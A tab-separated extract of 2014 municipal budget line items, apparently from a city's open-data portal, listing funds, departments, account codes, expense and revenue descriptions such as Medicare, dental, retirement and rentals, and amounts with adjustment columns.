10699	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	2359.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2359.0
10700	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
10701	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	24155.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24155.0
10702	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2014	556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	556.0
10703	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577580.0	BEACH / PIER REIMBURSEMENT	810.0	 Supplies and Expenses	2014	162285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	162285.0
10704	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2014	376.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	376.0
10705	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401610.0	LIBRARY CAFE RENT	618.0	Rentals	2014	-40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-40000.0
10706	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	401100.0	VIDEO ARCHIVE/WEB HOSTING SVC	612.0	Charges for Service	2014	-6670.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6670.0
10707	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	36063.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36063.0
10708	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511749.0	VISION	804.0	Salaries and Wages	2014	556.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	556.0
10709	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	247961.0	0	0	0	0.0	3505	8840.0	-16174	0	0	0	0.0	244132.0
10710	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	4496.0	0	0	0	0.0	60	0.0	0	0	0	0	0.0	4556.0
10711	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	28146.0	0	0	0	0.0	320	0.0	0	0	0	0	0.0	28466.0
10712	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2014	13150.0	0	0	0	4806.0	258	0.0	0	0	0	0	0.0	18214.0
10713	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2014	20913.0	0	0	0	0.0	800	0.0	0	0	0	0	0.0	21713.0
10714	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	11228.0	0	0	0	0.0	146	225.0	0	0	0	0	0.0	11599.0
10715	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	9205.0	0	0	0	0.0	851	0.0	0	0	0	0	0.0	10056.0
10716	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	9913.0	0	0	0	0.0	103	0.0	0	0	0	0	0.0	10016.0
10717	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	11269.0	0	0	0	0.0	69	0.0	0	0	0	0	0.0	11338.0
10718	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	33847.0	0	0	0	0.0	447	0.0	0	0	0	0	0.0	34294.0
10719	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	11038.0	0	0	0	0.0	67	0.0	0	0	0	0	0.0	11105.0
10720	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2014	13205.0	0	0	0	0.0	145	0.0	0	0	0	0	0.0	13350.0
10721	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2014	35602.0	0	0	0	0.0	452	0.0	0	0	0	0	0.0	36054.0
10722	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	998.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	998.0
10723	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	21499.0	0	0	0	0.0	1230	0.0	0	0	0	0	0.0	22729.0
10724	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401007.0	SWIM CENTER-SEMI-PRIVATE LESSO	612.0	Charges for Service	2014	-85832.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-85832.0
10725	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403720.0	HUD SERIAL INEBRIATE GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	-21672	0	0	0	0.0	-21672.0
10726	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	533670.0	IMAGING COSTS	816.0	 Supplies and Expenses	2014	3048.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3048.0
10727	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	3563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3563.0
10728	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2014	509.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	509.0
10729	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	2778.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2778.0
10730	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2014	2666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2666.0
10731	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	1414.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1414.0
10732	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	295684.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	295684.0
10733	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	19631.0	0	0	0	0.0	248	0.0	0	0	0	0	0.0	19879.0
10734	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4757.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4757.0
10735	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	10112.0	0	0	0	0.0	135	0.0	0	0	0	0	0.0	10247.0
10736	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
10737	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	10647.0	0	0	0	0.0	126	0.0	1238	0	0	0	0.0	12011.0
10738	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2014	7700.0	0	0	0	0.0	0	0.0	1217	0	0	0	0.0	8917.0
10739	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511749.0	VISION	804.0	Salaries and Wages	2014	1076.0	0	0	0	0.0	0	0.0	139	0	0	0	0.0	1215.0
10740	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	650.0
10741	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	28000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28000.0
10742	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	19503.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19503.0
10743	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	3087.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3087.0
10744	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	4410.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4410.0
10745	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407060.0	KEC TENANT RENTALS	618.0	Rentals	2014	-122088.0	0	0	0	0.0	0	0.0	122088	0	0	0	0.0	0.0
10746	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401900.0	FALSE ALARM	612.0	Charges for Service	2014	-8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8000.0
10747	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2014	153750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	153750.0
10748	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511774.0	RETIREMENT - AS NEEDED	816.0	Salaries and Wages	2014	2844.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2844.0
10749	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407480.0	AIRPORT PARK DROP IN PROGRAM	612.0	Charges for Service	2014	-9585.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9585.0
10750	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-3883674.0	0	0	0	0.0	0	108098.0	0	0	0	0	0.0	-3775576.0
10751	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	111575.0	0	0	0	0.0	1712	0.0	0	0	0	0	0.0	113287.0
10752	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2014	107317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107317.0
10753	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2014	18717.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18717.0
10754	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
10755	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
10756	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2014	837.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	837.0
10757	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	344.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	344.0
10758	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401730.0	LIBRARY CAFE UTILITY REIMBURSE	622.0	Other	2014	-11000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11000.0
10759	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407720.0	ENCLOSURE PLAN CHECK FEES	650.0	Charges for Service	2014	-56258.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-56258.0
10760	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	566260.0	SPECIAL EVENTS		 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
10761	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407610.0	I-NET REVENUE	612.0	Charges for Service	2014	-35700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35700.0
10762	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	14164.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14164.0
10763	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	2565.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2565.0
10764	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	19119.0	0	0	0	0.0	0	708.0	-1738	0	0	0	0.0	18089.0
10765	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511748.0	DENTAL	804.0	Salaries and Wages	2014	11851.0	0	0	0	0.0	0	375.0	-1217	0	0	0	0.0	11009.0
10766	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	4682.0	0	0	0	0.0	0	79.0	-115	0	0	0	0.0	4646.0
10767	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511748.0	DENTAL	804.0	Salaries and Wages	2014	12975.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12975.0
10768	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	646371.0	0	0	0	0.0	11351	-18.0	84164	0	0	0	0.0	741868.0
10769	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	186801.0	0	0	0	0.0	2788	0.0	0	0	0	0	0.0	189589.0
10770	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	3082.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3082.0
10771	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	6876.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6876.0
10772	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	768.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	768.0
10773	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DCAP	804.0	Salaries and Wages	2014	264.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	264.0
10774	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	3366.0	0	0	0	0.0	25	0.0	0	0	0	0	0.0	3391.0
10775	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
10776	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	88748.0	0	0	0	0.0	1371	0.0	0	0	0	0	0.0	90119.0
10777	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EAP	804.0	Salaries and Wages	2014	824.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	824.0
10778	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1491.0	0	0	0	0.0	21	0.0	0	0	0	0	0.0	1512.0
10779	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	9203.0	0	0	0	0.0	111	0.0	0	0	0	0	0.0	9314.0
10780	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EAP	804.0	Salaries and Wages	2014	4376.0	0	0	0	100.0	0	0.0	0	0	0	0	0.0	4476.0
10781	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		UNEMPLOYMENT	808.0	Salaries and Wages	2014	3624.0	0	0	0	0.0	24	0.0	0	0	0	0	0.0	3648.0
10782	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EAP	808.0	Salaries and Wages	2014	522.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	522.0
10783	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	5698.0	0	0	0	0.0	37	0.0	0	0	0	0	0.0	5735.0
10784	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	612.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	612.0
10785	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	4605.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4605.0
10786	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DCAP	812.0	Salaries and Wages	2014	1572.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1572.0
10787	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2014	9965.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9965.0
10788	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		DCAP	816.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
10789	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	1470.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1470.0
10790	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2014	2448.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2448.0
10791	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EAP	816.0	Salaries and Wages	2014	3645.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3645.0
10792	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	23482.0	0	0	0	0.0	376	0.0	0	0	0	0	0.0	23858.0
10793	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EAP	806.0	Salaries and Wages	2014	2385.0	0	0	0	0.0	0	42.0	0	0	0	0	0.0	2427.0
10794	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		EAP	806.0	Salaries and Wages	2014	11534.0	0	0	0	0.0	0	42.0	0	0	0	0	0.0	11576.0
10795	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	11170.0	0	0	0	0.0	671	0.0	0	0	0	0	0.0	11841.0
10796	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2014	4585.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4585.0
10797	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	11025.0	0	0	0	0.0	0	0.0	0	0	155	0	0.0	11180.0
10798	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2014	2806.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2806.0
10799	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	108498.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	108498.0
10800	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511748.0	DENTAL	840.0	Salaries and Wages	2014	7434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7434.0
10801	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	24257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24257.0
10802	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2014	15129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15129.0
10803	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2014	42160.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42160.0
10804	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	319895.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	319895.0
10805	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2014	2501.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2501.0
10806	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	183523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	183523.0
10807	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	3022866.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3022866.0
10808	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	74.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	74.0
10809	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	400320.0	MILES PLAYHOUSE PROD FEES	612.0	Charges for Service	2014	-24000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-24000.0
10810	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2014	-404541.0	0	0	0	0.0	0	154541.0	0	0	0	0	0.0	-250000.0
10811	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544360.0	ELECTRONIC RESOURCES	812.0	 Supplies and Expenses	2014	242545.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	242545.0
10812	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2014	209696.0	0	0	0	0.0	3466	0.0	0	0	0	0	0.0	213162.0
10813	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2014	17554.0	0	0	0	0.0	637	0.0	0	0	0	0	0.0	18191.0
10814	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	4139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4139.0
10815	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	6251.0	0	0	0	0.0	38	0.0	0	0	0	0	0.0	6289.0
10816	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	56978.0	0	0	0	0.0	750	0.0	0	0	0	0	0.0	57728.0
10817	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
10818	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	17000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17000.0
10819	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	2014.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2014.0
10820	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	655.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	655.0
10821	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	24276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24276.0
